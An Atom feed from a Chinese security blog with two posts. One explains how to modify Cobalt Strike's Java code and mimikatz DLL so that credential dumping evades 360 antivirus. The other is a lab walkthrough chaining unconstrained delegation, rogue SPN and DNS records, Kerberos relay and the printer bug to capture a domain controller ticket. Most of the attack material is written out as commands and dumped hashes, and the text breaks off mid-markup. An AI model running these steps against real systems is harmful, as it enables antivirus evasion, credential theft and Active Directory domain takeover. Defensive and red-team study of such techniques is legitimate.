<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Uknow - Stay hungry Stay foolish</title>
  
  
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://uknowsec.cn/"/>
  <updated>2024-01-17T15:38:44.133Z</updated>
  <id>https://uknowsec.cn/</id>
  
  <author>
    <name>uknow</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>cobaltstrike模块功能修改过360核晶</title>
    <link href="https://uknowsec.cn/posts/notes/cobaltstrike%E6%A8%A1%E5%9D%97%E5%8A%9F%E8%83%BD%E4%BF%AE%E6%94%B9%E8%BF%87360%E6%A0%B8%E6%99%B6.html"/>
    <id>https://uknowsec.cn/posts/notes/cobaltstrike模块功能修改过360核晶.html</id>
    <published>2021-12-29T16:17:17.000Z</published>
    <updated>2024-01-17T15:38:44.133Z</updated>
    
    <content type="html"><![CDATA[<p>众所周知，Cobalt Strike的一些功能模块都是用spawn的方法实现，其原理就是启动一个进程，然后对该进程进行功能模块dll反射注入，默认profile下是启动rundll32.exe这个进程，这种行为在数字的核晶模式下是会被拦截的。前两天刚好在吐司看到一篇文章有讲到，修改Cobalt Strike的源码将spawn的方式修改为inject的方法是可以bypass数字核晶的，因为将Cobalt Strike内置的功能模块dll注入到当前进程就没有新启进程的行为。本文结合上述文章并在<strong>@wonderkun</strong>师傅的帮助下得到了一个更好的修改方案。</p><h4><span id="功能模块分析">功能模块分析</span></h4><p>Cobalt Strike常见的功能如：<strong>logonpasswords</strong>，<strong>hashdump</strong>等功能在jar代码实现是<strong>beacon.TaskBeacon.class</strong>。</p><p>以<strong>logonpasswords</strong>为例，最终定位到如下代码处。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">LogonPasswords</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>&#123;</span><br><span class="line">   MimikatzSmall(<span class="string">"sekurlsa::logonpasswords"</span>);</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">MimikatzSmall</span><span class="params">(String paramString)</span></span></span><br><span class="line"><span class="function"> </span>&#123;</span><br><span class="line">   <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="keyword">this</span>.bids.length; i++)</span><br><span class="line">   &#123;</span><br><span class="line">     BeaconEntry localBeaconEntry = DataUtils.getBeacon(<span class="keyword">this</span>.data, <span class="keyword">this</span>.bids[i]);</span><br><span class="line">     <span class="keyword">if</span> (localBeaconEntry.is64()) &#123;</span><br><span class="line">       <span class="keyword">new</span> MimikatzJobSmall(<span class="keyword">this</span>, paramString).spawn(<span class="keyword">this</span>.bids[i], <span class="string">"x64"</span>);</span><br><span class="line">     &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">       <span class="keyword">new</span> MimikatzJobSmall(<span class="keyword">this</span>, paramString).spawn(<span class="keyword">this</span>.bids[i], <span class="string">"x86"</span>);</span><br><span class="line">     &#125;</span><br><span class="line">   &#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>在<strong>MimikatzSmall</strong>方法中，根据目标系统版本进行spawn。跟进到<strong>MimikatzJobSmall</strong>方法，最后rdi的是<strong>mimikatz-min.x64.dll</strong>或者<strong>mimikatz-min.x86.dll</strong>这个dll。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">MimikatzJobSmall</span></span></span><br><span class="line"><span class="class">  <span class="keyword">extends</span> <span class="title">MimikatzJob</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">  <span class="function"><span class="keyword">public</span> <span class="title">MimikatzJobSmall</span><span class="params">(TaskBeacon paramTaskBeacon, String paramString)</span></span></span><br><span class="line"><span class="function">  </span>&#123;</span><br><span class="line">    <span class="keyword">super</span>(paramTaskBeacon, paramString);</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="function"><span class="keyword">public</span> String <span class="title">getDLLName</span><span class="params">()</span></span></span><br><span class="line"><span class="function">  </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">this</span>.arch.equals(<span class="string">"x64"</span>)) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="string">"resources/mimikatz-min.x64.dll"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">"resources/mimikatz-min.x86.dll"</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4><span id="修改java">修改Java</span></h4><p>只需要将spawn方法修改inject方法即可，jar里实现的inject方法的需要传入pid，因为我们是注入当前进程，所以需要通过jar里实现的方法去获取当前进程的pid。另外需要注意的就是下面代码中的<strong>localBeaconEntry.arch()</strong>获取是当前进程的位数，而原来代码里的<strong>localBeaconEntry.is64()</strong>获取系统的位数。因为我们用到的是inject，所以需要在x64的进程中注入x64的dll，x86的dll中注入x86的dll。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">MimikatzSmall</span><span class="params">(String paramString)</span></span></span><br><span class="line"><span class="function"> </span>&#123;</span><br><span class="line">   <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="keyword">this</span>.bids.length; i++)</span><br><span class="line">   &#123;</span><br><span class="line">     BeaconEntry localBeaconEntry = DataUtils.getBeacon(<span class="keyword">this</span>.data, <span class="keyword">this</span>.bids[i]);</span><br><span class="line">  <span class="keyword">int</span> PID = CommonUtils.toNumber(localBeaconEntry.getPid(), <span class="number">0</span>); </span><br><span class="line">     <span class="keyword">if</span> (<span class="string">"x64"</span>.equals(localBeaconEntry.arch())) &#123;</span><br><span class="line">  <span class="keyword">new</span> MimikatzJobSmall(<span class="keyword">this</span>, paramString).inject(PID, <span class="string">"x64"</span>);</span><br><span class="line">         <span class="comment">//new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x64");</span></span><br><span class="line">     &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">  <span class="keyword">new</span> MimikatzJobSmall(<span class="keyword">this</span>, paramString).inject(PID, <span class="string">"x86"</span>);</span><br><span class="line">  <span class="comment">//new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x86");</span></span><br><span class="line">     &#125;</span><br><span class="line">   &#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><h4><span id="dll加解密">DLL加解密</span></h4><p>因为Cobalt Strike中的DLL是加密的，需要进行解密才能对其dll进行修改。相关操作这里就不再详细说了。</p><p>具体可以参考：<a href="https://github.com/lovechoudoufu/cobaltstrike4.4_cdf#dll%E4%BF%AE%E6%94%B9" target="_blank" rel="noopener">https://github.com/lovechoudoufu/cobaltstrike4.4_cdf#dll%E4%BF%AE%E6%94%B9</a></p><h4><span id="修改相应的dll">修改相应的DLL</span></h4><p>以<strong>logonpasswords</strong>为例，最后rdi的是<strong>mimikatz-min.x64.dll</strong>或者<strong>mimikatz-min.x86.dll</strong>这个dll。ida看一下这个dll，可以看到DLL的核心功能是在<strong>dllmain</strong>中完成的，调用功能函数之后，会直接调用<strong>ExitProcess</strong> 退出了进程。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/csbypass-1.png" alt=""></p><p>这对于<strong>spawn</strong>方法是没有问题的，因为是新启动的<strong>rundll32.exe</strong>进程，执行完功能之后执行<strong>ExitProcess</strong>退出，但是被改成<strong>inject</strong>之后就有问题了，因为是在当前beacon进程空间中执行的，所以执行完功能会到导致当前的beacon进程挂掉。所以我们直接patch掉这个对<strong>ExitProcess</strong>的调用就可以了，但是看了一下对<strong>ExitProcess</strong>的调用是有多处的，一个一个patch太麻烦了。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/csbypass-2.png" alt=""></p><p>所以这里有个更好的方法，就是直接把 <strong>ExitProcess</strong>修改为<strong>ExitThread</strong>方法 。由于当前的dll是被<strong>inject</strong>方法调用起来的，是在当前进程空间新启动的线程，所以当前进程挂掉之后，beacon进程的主线程不会受到影响。这里利用 <strong>CFF Explorer</strong> 修改导入表就可以了。<img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/csbypass-3.png" alt=""></p><p>然后再用ida打开，发现调用的就是<strong>ExitThread</strong>了。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/csbypass-4.png" alt=""></p><h4><span id="测试">测试</span></h4><p>将dll和java修改完后，直接替换jar里的即可。简单测试一下是否过数字核晶。</p><p>我们直接执行<strong>mimikatz coffee</strong>命令，这里的<strong>mimikatz</strong>和<strong>logonpasswords</strong>调用的是不同的两个dll，其中<strong>logonpasswords</strong>是用inject方法，而<strong>mimikatz coffee</strong>未做修改，用的spawn方法。可以看到未修改的被拦截了，而修改过的成功执行回显。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/csbypass-5.png" alt="image-20220507213415129"></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/csbypass-6.png" alt="image-20220507213535465"></p><h6><span id="bug">BUG</span></h6><p>如果我们上线的进程为x86的进程，而目标系统位数为x64位，此时我们执行<strong>logonpasswords</strong>，会对其x86进程注入x86的dll。此时会报错，报错内容为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process</span><br></pre></td></tr></table></figure><p>这主要是内置的mimikatz的dll存在问题，msf中的mimikatz也会存在这个问题。因为目标系统为x64，所以需要一个x64的进程来注入x64的dll，即可。</p><h4><span id="参考文章">参考文章</span></h4><p><a href="https://www.t00ls.cc/viewthread.php?tid=65597" target="_blank" rel="noopener">https://www.t00ls.cc/viewthread.php?tid=65597</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;众所周知，Cobalt Strike的一些功能模块都是用spawn的方法实现，其原理就是启动一个进程，然后对该进程进行功能模块dll反射注入，默认profile下是启动rundll32.exe这个进程，这种行为在数字的核晶模式下是会被拦截的。前两天刚好在吐司看到一篇文章有讲
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>非约束委派 + Kerberos中继</title>
    <link href="https://uknowsec.cn/posts/notes/%E9%9D%9E%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%20+%20Kerberos%E4%B8%AD%E7%BB%A7.html"/>
    <id>https://uknowsec.cn/posts/notes/非约束委派 + Kerberos中继.html</id>
    <published>2021-11-29T16:17:17.000Z</published>
    <updated>2024-01-17T15:47:51.257Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="0x00-前言">0x00 前言</span></h3><p>本文将从两个场景阐述【非约束委派 + Kerberos 中继】的组合使用。</p><p>两个场景中，攻击机均在域外（同内网）</p><h3><span id="0x01-实战场景一拥有已设置非约束委派的主机的本地管理员账号密码">0x01 实战场景一：拥有已设置非约束委派的主机的本地管理员账号密码</span></h3><p>第一个场景：当我们拥有一个域内已设置非约束委派的 Windows 10 主机的本地管理员组的账号密码（假设是 adminsitrator），且因为该主机上存在一些杀软或其他设备导致无法远程登陆（3389、PsExec等远程登陆）到目标机器进行常规的非约束委派攻击。</p><p>本章节就以此为背景，讲述如何进行突破。下表是测试环境介绍：</p><table><thead><tr><th>主机</th><th>机器名</th><th>ip</th></tr></thead><tbody><tr><td>域控</td><td>dc.test.local</td><td>192.168.247.8</td></tr><tr><td>域内win10（已控）</td><td>win10.test.local</td><td>192.168.247.10</td></tr><tr><td>Kali Linux（攻击机）</td><td>PWNED</td><td>192.168.247.145</td></tr></tbody></table><p>#### </p><h4><span id="11dump-远程机器lsa">1.1.Dump 远程机器LSA</span></h4><p>首先我们需要 dump 目标机器上的机器账号的 AES256 密文和 NTLM 哈希值，为下一步做准备。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">$ python3 secretsdump.py administrator:Password1@192.168.247.10</span><br><span class="line">Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation</span><br><span class="line"></span><br><span class="line">[*] Service RemoteRegistry is <span class="keyword">in</span> stopped state</span><br><span class="line">[*] Service RemoteRegistry is disabled, enabling it</span><br><span class="line">[*] Starting service RemoteRegistry</span><br><span class="line">[*] Target system bootKey: 0xae45437a8b95c0eea4b4596158c2d68c</span><br><span class="line">[*] Dumping <span class="built_in">local</span> SAM hashes (uid:rid:lmhash:nthash)</span><br><span class="line">Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::</span><br><span class="line">Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::</span><br><span class="line">DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::</span><br><span class="line"><span class="built_in">test</span>:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::</span><br><span class="line">[*] Dumping cached domain logon information (domain/username:<span class="built_in">hash</span>)</span><br><span class="line">TEST.LOCAL/aduser:<span class="variable">$DCC2</span><span class="variable">$10240</span><span class="comment">#aduser#8addbc364aec2e91d4747bfb22334612</span></span><br><span class="line">[*] Dumping LSA Secrets</span><br><span class="line">[*] <span class="variable">$MACHINE</span>.ACC </span><br><span class="line">TEST\WIN10$:aes256-cts-hmac-sha1-96:01c5ab651c87d3e519d0e68236adc0cbc63b493519895efe2cd1939e212696db</span><br><span class="line">TEST\WIN10$:aes128-cts-hmac-sha1-96:21177ecb02e30e940b7f61c0f990bd53</span><br><span class="line">TEST\WIN10$:des-cbc-md5:9ecb207f9da8294a</span><br><span class="line">TEST\WIN10$:plain_password_hex:a39afbc2b71fa35da2c18298d693049e64e0be3267a52e7078d02bed143f99ea8c12e58026e571bcf3696074a72b8d1f032ae1a7126ddfa7028cb859495c3939cae24a5cea26a13b293f65c696dd9a8e242d02d0fa087c73982613ec28d91e8e1936ec26cad5ed24f5f2cd9edac9b1da5996d096cbeb2fdc245d0d1c9fba19be4cc79c20806660a6efa9d66673cf5fd77ca23e52c5ddac27297086ea8acf2b6ca11c067c73290bfbf48e1a08577c0f2a84b12122fc0221d5fb42ed4ca00d9418a7418a122858ecfcac7b06430c8e853512bbbf1303b466aba0510e7946d4c1665a8453d9200249e299cb143e32fe2175</span><br><span class="line">TEST\WIN10$:aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0:::</span><br><span class="line">[*] DPAPI_SYSTEM </span><br><span class="line">dpapi_machinekey:0x3a0621afad92277fc0d478f02a64049dcc3fc04d</span><br><span class="line">dpapi_userkey:0x320de78175e986e0d25c6ac011c60dfa797ff571</span><br><span class="line">[*] NL<span class="variable">$KM</span> </span><br><span class="line"> 0000   10 30 50 6C 7C 06 4E C8  DB F8 41 5B 21 C9 53 54   .0Pl|.N...A[!.ST</span><br><span class="line"> 0010   1A 31 E8 0A 15 03 32 F1  8C 32 1E CB 36 6B 19 3A   .1....2..2..6k.:</span><br><span class="line"> 0020   C7 8A 68 BA 22 82 9B 01  2A 36 43 16 39 E3 CB 11   ..h.<span class="string">"...*6C.9...</span></span><br><span class="line"><span class="string"> 0030   5B FB 13 DD 5F E4 9C 79  66 B6 B7 C1 18 89 9D 65   [..._..yf......e</span></span><br><span class="line"><span class="string">NL<span class="variable">$KM</span>:1030506c7c064ec8dbf8415b21c953541a31e80a150332f18c321ecb366b193ac78a68ba22829b012a36431639e3cb115bfb13dd5fe49c7966b6b7c118899d65</span></span><br><span class="line"><span class="string">[*] Cleaning up... </span></span><br><span class="line"><span class="string">[*] Stopping service RemoteRegistry</span></span><br><span class="line"><span class="string">[*] Restoring the disabled state for service RemoteRegistry</span></span><br></pre></td></tr></table></figure><p>如下图所示：</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630574988110-57ddc1ad-ee9c-401e-bb07-f64f6478817e.png" alt="img"></p><p>那么这里提个问题：为什么需要机器账号的 AES256 密文和 NTLM 哈希值呢？往下看，下面有解释。</p><h4><span id="12域内机器的-system-权限">1.2.域内机器的 System 权限</span></h4><p>在域内机器中的 System 权限可以在域内充当机器账号。详细参考：</p><p><a href="https://daiker.gitbook.io/windows-protocol/ldap-pian/10#1-ji-qi-yong-hu-gen-system-yong-hu-de-guan-xi" target="_blank" rel="noopener">https://daiker.gitbook.io/windows-protocol/ldap-pian/10#1-ji-qi-yong-hu-gen-system-yong-hu-de-guan-xi</a></p><p>如下实验：我们在 Win10（192.168.247.10）主机中，使用本地管理员 administrator 账号执行 <code>**setspn -q \*/\***</code> 命令，用于查询域内 SPN 记录，可以看到出现报错信息。但如果我们利用诸如 psexec 将当前权限提升至 system，再执行相同的命令，可以看到可以跟域控正常通信并获取 SPN 记录。这是因为在域内机器中，System 权限相当于域机器账号，可与域控正常通信（可用于域内信息收集）。</p><p>如下图，红框部分是 WIND10$ 机器账号注册的 SPN：</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630575087549-c277ce6d-daff-4367-a994-a908e7059fb3.png" alt="img"></p><h4><span id="13添加-spn">1.3.添加 SPN</span></h4><p>我们尝试用一下项目中的 <strong>addspn.py</strong> 对该机器账户进行添加 SPN 操作。</p><p><a href="https://github.com/dirkjanm/krbrelayx" target="_blank" rel="noopener">https://github.com/dirkjanm/krbrelayx</a></p><p>上面已经对该机器账号进行了 SPN 查询，那么接下来尝试对该机器账号添加一条 SPN：<strong>HOST/PWNED.test.local</strong>，如果发现发现没有权限添加，那么该脚本会提示我们使用 <strong>–additional</strong> 参数对该机器账号的 <strong>msDS-AdditionalDnsHostName</strong> 属性进行修改。</p><p>这是为什么呢？这是因为在默认情况下，机器账号拥有可设置自身 <strong>msDS-AdditionalDnsHostName</strong> 属性的权限，并且可将该属性设置为任意主机名（包括不存在的主机）。所以本章节中，我们利用这个特性，为机器账号注册（添加）一个新的 SPN 记录： <strong>HOST/PWNED.test.local ，</strong>指向攻击机。</p><p>如下操作（机器账号的 NTLM 作用在此）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查询当前机器账号的 SPN 记录</span></span><br><span class="line">$ python3 addspn.py -u TEST\\WIN10$ -p aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 -s HOST/PWNED.test.local -q dc.test.local</span><br><span class="line">[-] Connecting to host...</span><br><span class="line">[-] Binding to host</span><br><span class="line">[+] Bind OK</span><br><span class="line">[+] Found modification target</span><br><span class="line">DN: CN=WIN10,CN=Computers,DC=<span class="built_in">test</span>,DC=<span class="built_in">local</span> - STATUS: Read - READ TIME: 2021-08-31T04:58:33.868515</span><br><span class="line">    dNSHostName: WIN10.test.local</span><br><span class="line">    sAMAccountName: WIN10$</span><br><span class="line">    servicePrincipalName: RestrictedKrbHost/WIN10</span><br><span class="line">                          HOST/WIN10</span><br><span class="line">                          RestrictedKrbHost/WIN10.test.local</span><br><span class="line">                          HOST/WIN10.test.local</span><br><span class="line"></span><br><span class="line"><span class="comment"># 尝试添加 SPN 记录，提示无权限，并建议使用 --additiona 对 msDS-AdditionalDnsHostName 进行修改</span></span><br><span class="line">$ python3 addspn.py -u TEST\\WIN10$ -p aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 -s HOST/PWNED.test.local dc.test.local  </span><br><span class="line">[-] Connecting to host...</span><br><span class="line">[-] Binding to host</span><br><span class="line">[+] Bind OK</span><br><span class="line">[+] Found modification target</span><br><span class="line">[!] Could not modify object, the server reports a constrained violation</span><br><span class="line">[!] You either supplied a malformed SPN, or you <span class="keyword">do</span> not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)</span><br><span class="line">[!] To add any SPN <span class="keyword">in</span> the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute</span><br><span class="line"></span><br><span class="line"><span class="comment"># 成功修改 msDS-AdditionalDnsHostName</span></span><br><span class="line">$ python3 addspn.py -u TEST\\WIN10$ -p aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 -s HOST/PWNED.test.local dc.test.local --additional</span><br><span class="line">[-] Connecting to host...</span><br><span class="line">[-] Binding to host</span><br><span class="line">[+] Bind OK</span><br><span class="line">[+] Found modification target</span><br><span class="line">[+] SPN Modified successfully</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630575153769-bc7083d4-63f1-40e2-9c6e-b84d69c2c39f.png" alt="img"></p><p>在修改 <strong>msDS-AdditionalDnsHostName</strong>属性后，重新查询，可发现该机器账号下的 SPN 多了一条 <strong>HOST/PWNED.test.local</strong> 记录。这样我们注册spn的目的就达到了。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630575225083-7763af4b-ebf9-4c4b-a118-1e176a15241c.png" alt="img"></p><h4><span id="14添加-dns-指向">1.4.添加 DNS 指向</span></h4><p>利用上述 krbrelayx 项目中的 <strong>dnstool.py</strong> 脚本，向 DNS 服务器添加一个 A 记录（域内用户默认拥有向 DNS 服务器添加 A 记录的权限）。将  <strong>PWNED.test.local</strong> 解析到 kali（192.168.247.145） 攻击机。 </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ python3 dnstool.py -u TEST\\WIN10$ -p aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 -r PWNED.test.local -d 192.168.247.145 --action add dc.test.local</span><br></pre></td></tr></table></figure><p>命令执行后，等待一会儿，使用如下命令进行查询，就可以看到已成功解析。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630575246318-2432944e-1b72-40f7-b5d9-d5349c3c8e2a.png" alt="img"></p><h4><span id="15kerberos-中继">1.5.Kerberos 中继</span></h4><p>在 Kali 攻击机上运行 krbrelayx.py 脚本，启动一个监听程序。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo python3 krbrelayx.py -aesKey 01c5ab651c87d3e519d0e68236adc0cbc63b493519895efe2cd1939e212696db</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630575274021-b3d66f71-47b1-4cc0-919e-e4fd71827d3d.png" alt="img"></p><p>这里为什么是用的 aesKey 呢？这就不得不提这个 AES256 密文是怎么来的了（见答疑部分）。</p><h4><span id="16触发打印机漏洞">1.6.触发打印机漏洞</span></h4><p>最后利用打印机漏洞让域控对我们注册的恶意 SPN 服务主机 <strong>PWNED.test.local</strong> 进行身份认证。此时监听上就可以获取到域控的票据了。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 test.local/WIN10\<span class="variable">$@dc</span>.test.local PWNED.test.local</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630575280393-3e388396-1d36-45c1-a36d-65aadad8d922.png" alt="img"></p><p>导入票据，导出 NTLM 哈希值。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630575287603-fa293c29-4a1e-4353-adc6-ee3b1b279859.png" alt="img"></p><h3><span id="0x02-实战场景二拥有已设置非约束委派的服务账号的账号密码">0x02 实战场景二：拥有已设置非约束委派的服务账号的账号密码</span></h3><h4><span id="21为域用户配置-spn">2.1.为域用户配置 SPN</span></h4><p>默认情况下，域账号不能设置委派，只有服务账号才能设置委派（非服务账号在用户属性中缺少【委派】选项卡）。</p><p>我们可以给一个域用户注册一个 SPN（此操作需要在域控上操作），将其变成服务账号，这样就可以对其进行委派设置。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setspn -A test/test testuser</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630584816346-157dd696-f81c-4eb1-bd94-b67ffbb998ab.png" alt="img"></p><h4><span id="22添加-spn">2.2.添加 SPN</span></h4><p>假设我们在域外拿到了一个已设置了非约束委派的服务账号密码，并且该账号可以给自己的账户注册 SPN（拥有读取和写入SPN的权限）。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 addspn.py -u test.local\\testuser -p Password1 -s host/PWNED.test.local ldap://dc.test.local</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630584822337-16e1f269-fc28-4673-85b9-b5cfb806fc24.png" alt="img"></p><p>默认情况下，可能没有注册 SPN 的权限。需要手动在域控上给该服务账号设置权限（实战场景中，设置了非约束委派的服务账号是否存在该权限，情况不明）。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630584828218-fa349d7d-535f-4901-859b-7a09c52d309e.png" alt="img"></p><p>手动加上权限后，我们就可以给自己的服务账号下注册一个指向我们控制的机器的 SPN 了。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630584833168-3e88391b-0899-411b-be30-fa7b9a1fd86b.png" alt="img"></p><h4><span id="23添加-dns-指向">2.3.添加 DNS 指向</span></h4><p>同样利用域账号在域外向域控 DNS 加入 A 记录。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 dnstool.py -u test.local\\testuser -p Password1 -r PWNED.test.local -d 192.168.247.145 --action add dc.test.local</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630584838234-c0ea8773-6f42-40db-9d0d-446fad4fe363.png" alt="img"></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630584843885-87d2a8fe-1264-43bc-ac9b-ff099c06d6ed.png" alt="img"></p><h4><span id="24-kerberos-中继-触发打印机">2.4 Kerberos 中继 + 触发打印机</span></h4><p> krbrelayx.py 启动监听，打印机漏洞触发 DC 到恶意注册的 SPN 服务主机 <strong>PWNED.test.local</strong> 进行身份认证。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo python3 krbrelayx.py --krbsalt TEST.testuser --krbpass Password1</span><br><span class="line">python3 printerbug.py TEST.LOCAL/testuser:Password1@dc.test.local PWNED.test.local</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630584865600-ef6bae38-0d09-46ea-8e88-39c63c74c130.png" alt="img"></p><p>得到票据，导入票据。进行进一步操作。</p><figure class="highlight bash"><table><tr><td 